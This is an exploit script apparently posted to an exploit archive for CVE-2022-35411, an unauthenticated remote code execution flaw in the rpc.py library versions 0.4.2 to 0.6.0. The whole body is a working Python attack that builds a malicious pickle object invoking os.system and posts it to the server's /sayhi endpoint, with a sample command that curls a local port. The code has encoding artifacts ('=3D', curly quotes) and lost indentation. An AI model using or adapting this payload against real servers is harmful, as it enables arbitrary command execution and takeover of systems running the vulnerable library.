rpc.py 0.6.0 Remote Code Execution

# Exploit Title: rpc.py 0.6.0 – Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2022-07-12
# Exploit Author: Elias Hohl
# Vendor Homepage: https://github.com/abersheeran
# Software Link: https://github.com/abersheeran/rpc.py
# Version: v0.4.2 – v0.6.0
# Tested on: Debian 11, Ubuntu 20.04
# CVE : CVE-2022-35411

import requests
import pickle

# Unauthenticated RCE 0-day for https://github.com/abersheeran/rpc.py

HOST =3D “127.0.0.1:65432”

URL =3D f”http://{HOST}/sayhi”

HEADERS =3D {
“serializer”: “pickle”
}

def generate_payload(cmd):

class PickleRce(object):
def __reduce__(self):
import os
return os.system, (cmd,)

payload =3D pickle.dumps(PickleRce())

print(payload)

return payload

def exec_command(cmd):

payload =3D generate_payload(cmd)

requests.post(url=3DURL, data=3Dpayload, headers=3DHEADERS)

def main():
exec_command(‘curl http://127.0.0.1:4321’)
# exec_command(‘uname -a’)

if __name__ =3D=3D “__main__”:
main()